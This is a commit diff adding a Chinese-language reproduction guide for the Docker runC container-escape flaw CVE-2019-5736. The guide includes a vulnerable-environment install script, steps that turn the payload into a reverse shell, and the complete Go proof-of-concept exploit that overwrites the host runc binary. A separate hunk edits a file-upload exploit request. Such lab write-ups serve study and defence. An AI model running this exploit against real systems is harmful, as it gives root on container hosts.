update
@ -731,6 +731,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* Docker build 漏洞导致命令执行 CVE-2019-13139
|
||||
* Docker copy 漏洞导致容器逃逸 CVE-2019-14271
|
||||
* Docker daemon api 未授权访问漏洞 RCE
|
||||
* Docker runC 漏洞导致容器逃逸 CVE-2019-5736
|
||||
* Kubernetes + Ubuntu 18.04 漏洞环境搭建
|
||||
* Kubernetes API Server 未授权命令执行
|
||||
* Kubernetes etcd 未授权访问
|
||||
|
@ -69,15 +69,15 @@ curl http://your-ip:8080/upload.action
|
||||
|
||||
```
|
||||
POST /upload.action HTTP/1.1
|
||||
Host: 124.221.47.70:8080
|
||||
Host: your-ip:8080
|
||||
Content-Length: 320
|
||||
Cache-Control: max-age=0
|
||||
Origin: http://124.221.47.70:8080
|
||||
Origin: http://your-ip:8080
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NRMscRh7zNdWblD
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Referer: http://124.221.47.70:8080/upload.action
|
||||
Referer: http://your-ip:8080/upload.action
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: en
|
||||
Cookie: JSESSIONID=4563A1B22B51DE02F1FD131C1E88DE5C
|
||||
@ -95,7 +95,7 @@ Content-Disposition: form-data; name="top.UploadFileName";
|
||||
------WebKitFormBoundary2NRMscRh7zNdWblD--
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
访问上传文件:
|
||||
|
||||
|
Before Width: | Height: | Size: 385 KiB |
After Width: | Height: | Size: 399 KiB |
224
云安全漏洞/Docker runC 漏洞导致容器逃逸 CVE-2019-5736.md
Normal file
@ -0,0 +1,224 @@
|
||||
# Docker runC 漏洞导致容器逃逸 CVE-2019-5736
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Docker、containerd 或者其他基于 runc 的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者 exec 操作获取到宿主机 runc 执行时的文件句柄并修改 runc 的二进制文件,从而获取到宿主机的 root 执行权限。要利用此漏洞,需要在容器内拥有 root (uid 0)。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736
|
||||
- https://github.com/Frichetten/CVE-2019-5736-PoC
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
docker version <= 18.09.2
|
||||
RunC version <= 1.0-rc6
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
ubuntu 18.04 使用以下脚本 `install_docker_18.09.0.sh` 安装 Docker 18.09.0:
|
||||
|
||||
```shell
|
||||
#!/bin/bash
|
||||
set -e
|
||||
echo "[*] Removing old Docker versions (if any)..."
|
||||
sudo apt remove -y docker docker-engine docker.io containerd runc || true
|
||||
|
||||
echo "[*] Unholding previously held Docker packages (if any)..."
|
||||
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
|
||||
|
||||
echo "[*] Removing incorrect Docker sources..."
|
||||
sudo rm -f /etc/apt/sources.list.d/docker.list || true
|
||||
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
|
||||
|
||||
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
|
||||
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
|
||||
|
||||
echo "[*] Adding Tsinghua University Docker mirror repository..."
|
||||
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
|
||||
| sudo tee /etc/apt/sources.list.d/docker.list
|
||||
|
||||
echo "[*] Updating package index..."
|
||||
sudo apt update
|
||||
|
||||
echo "[*] Searching for Docker 18.09.0..."
|
||||
VERSION_STRING=$(apt-cache madison docker-ce | grep 18.09.0 | head -n1 | awk '{print $3}')
|
||||
if [ -z "$VERSION_STRING" ]; then
|
||||
echo "[*] Docker 18.09.0 not found"
|
||||
exit 1
|
||||
fi
|
||||
echo "[*] Found version: $VERSION_STRING"
|
||||
|
||||
echo "[*] Installing Docker version $VERSION_STRING ..."
|
||||
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io --allow-downgrades
|
||||
|
||||
echo "[*] Locking version to prevent automatic updates..."
|
||||
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
|
||||
|
||||
echo "[*] Installation complete, current version:"
|
||||
docker --version
|
||||
```
|
||||
|
||||
安装 runc:
|
||||
|
||||
```
|
||||
wget https://github.com/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64
|
||||
sudo install -m 755 runc.amd64 /usr/local/sbin/runc
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
**注意,以下操作将覆盖 runc ,这会导致您的系统无法再运行 Docker 容器。请在虚拟环境中操作。**
|
||||
|
||||
通过 [该项目](https://github.com/Frichetten/CVE-2019-5736-PoC) ,我们将用 `#!/proc/self/exe` 覆盖容器中的 `/bin/sh` ,写入恶意命令。如果容器使用 `runc` 启动,`/proc/self/exe` 实际指向的就是容器运行时使用的 `runc` 二进制文件。那么,当在容器内执行 `/bin/sh` 时,将尝试修改 `/proc/self/exe` 的目标文件,即主机上的 `runc` 二进制文件。
|
||||
|
||||
将 payload 修改为执行反弹 shell,编译:
|
||||
|
||||
```
|
||||
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
|
||||
```
|
||||
|
||||

|
||||
|
||||
新建一个容器,将编译好的 main 传入容器:
|
||||
|
||||
```
|
||||
sudo docker run -itd --name=5736 ubuntu bash
|
||||
docker cp ./main 5736:/
|
||||
```
|
||||
|
||||
执行 main,覆盖 `/bin/sh`:
|
||||
|
||||
```
|
||||
docker exec -it 5736 /bin/bash
|
||||
root@a9b857df4cc6:/# ./main
|
||||
[+] Overwritten /bin/sh successfully
|
||||
```
|
||||
|
||||

|
||||
|
||||
重新打开一个窗口,执行 `/bin/sh`,获取文件句柄,写入恶意命令:
|
||||
|
||||
```
|
||||
docker exec -it 5736 /bin/sh
|
||||
No help topic for '/bin/sh'
|
||||
```
|
||||
|
||||

|
||||
|
||||
查看之前的窗口,此时已经执行成功:
|
||||
|
||||

|
||||
|
||||
退出当前容器,重新进入,触发恶意命令:
|
||||
|
||||
```
|
||||
docker exec -it 5736 /bin/bash
|
||||
```
|
||||
|
||||

|
||||
|
||||
攻击机监听 9999 端口:
|
||||
|
||||

|
||||
|
||||
## 漏洞 POC
|
||||
|
||||
- https://github.com/Frichetten/CVE-2019-5736-PoC
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
// Implementation of CVE-2019-5736
|
||||
// Created with help from @singe, @_cablethief, and @feexd.
|
||||
// This commit also helped a ton to understand the vuln
|
||||
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"flag"
|
||||
)
|
||||
|
||||
|
||||
var shellCmd string
|
||||
|
||||
func init() {
|
||||
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
|
||||
flag.Parse()
|
||||
}
|
||||
|
||||
func main() {
|
||||
// This is the line of shell commands that will execute on the host
|
||||
var payload = "#!/bin/bash \n" + shellCmd
|
||||
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
|
||||
fd, err := os.Create("/bin/sh")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
fmt.Fprintln(fd, "#!/proc/self/exe")
|
||||
err = fd.Close()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
fmt.Println("[+] Overwritten /bin/sh successfully")
|
||||
|
||||
// Loop through all processes to find one whose cmdline includes runcinit
|
||||
// This will be the process created by runc
|
||||
var found int
|
||||
for found == 0 {
|
||||
pids, err := ioutil.ReadDir("/proc")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
for _, f := range pids {
|
||||
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
|
||||
fstring := string(fbytes)
|
||||
if strings.Contains(fstring, "runc") {
|
||||
fmt.Println("[+] Found the PID:", f.Name())
|
||||
found, err = strconv.Atoi(f.Name())
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// We will use the pid to get a file handle for runc on the host.
|
||||
var handleFd = -1
|
||||
for handleFd == -1 {
|
||||
// Note, you do not need to use the O_PATH flag for the exploit to work.
|
||||
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
|
||||
if int(handle.Fd()) > 0 {
|
||||
handleFd = int(handle.Fd())
|
||||
}
|
||||
}
|
||||
fmt.Println("[+] Successfully got the file handle")
|
||||
|
||||
// Now that we have the file handle, lets write to the runc binary and overwrite it
|
||||
// It will maintain it's executable flag
|
||||
for {
|
||||
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
|
||||
if int(writeHandle.Fd()) > 0 {
|
||||
fmt.Println("[+] Successfully got write handle", writeHandle)
|
||||
fmt.Println("[+] The command executed is" + payload)
|
||||
writeHandle.Write([]byte(payload))
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
- 升级至最新版本 https://docs.docker.com/engine/release-notes/
|
After Width: | Height: | Size: 78 KiB |
After Width: | Height: | Size: 154 KiB |
After Width: | Height: | Size: 46 KiB |
After Width: | Height: | Size: 39 KiB |
After Width: | Height: | Size: 124 KiB |
After Width: | Height: | Size: 27 KiB |
After Width: | Height: | Size: 65 KiB |